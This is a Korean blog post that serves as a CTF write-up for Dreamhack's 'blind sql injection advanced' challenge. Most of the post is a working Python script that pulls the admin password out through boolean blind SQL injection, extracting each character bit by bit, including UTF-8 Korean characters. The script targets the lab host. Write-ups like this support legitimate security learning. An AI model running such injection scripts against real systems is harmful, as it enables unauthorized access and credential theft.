김승현

[Dreamhack : Web] blind sql injection advanced 본문

Web/Dreamhack : Web

[Dreamhack : Web] blind sql injection advanced

kshind 2023. 2. 24. 14:53

문제

앞선 강의에서도 나왔듯이 아스키코드와 UTF-8(한글)로 password가 구성되어 있다는 게 핵심인 것 같다.

 

풀이

접속해보면 생긴 건 저번과 같은 것 같다.

guest를 입력해보면 guest가 존재한다고 뜬다.

혹시나 저번처럼 error를 이용하면 될까 싶어서 저번에 error based sqli를 풀 때 사용한 코드를 입력해봤다.

역시 안 된다. 코드를 대충 훑어보자. (분석은 강의에서 했으니 중요한 거만 보고 넘어갑니다)

이 양식에 맞춰서 입력된 uid가 들어가는 것 같다.

이외엔 저번 문제와 코드가 비슷하다.

 

from requests import get
host = "http://host3.dreamhack.games:22052"
password_length = 0
while True:
    password_length += 1
    query = f"admin' and char_length(upw) = {password_length}-- -"
    r = get(f"{host}/?uid={query}")
    if "exists" in r.text:
        break
print(f"password length: {password_length}")
password = ""
for i in range(1, password_length + 1):
    bit_length = 0
    while True:
        bit_length += 1
        query = f"admin' and length(bin(ord(substr(upw, {i}, 1)))) = {bit_length}-- -"
        r = get(f"{host}/?uid={query}")
        if "exists" in r.text:
            break
    print(f"character {i}'s bit length: {bit_length}")
    
    bits = ""
    for j in range(1, bit_length + 1):
        query = f"admin' and substr(bin(ord(substr(upw, {i}, 1))), {j}, 1) = '1'-- -"
        r = get(f"{host}/?uid={query}")
        if "exists" in r.text:
            bits += "1"
        else:
            bits += "0"
    print(f"character {i}'s bits: {bits}")
    password += int.to_bytes(int(bits, 2), (bit_length + 7) // 8, "big").decode("utf-8")
print(password)

강의에 있는 코드를 가져와서 했다... 코드를 이해하고 넘어가는 식으로 하려고 한다....어려워...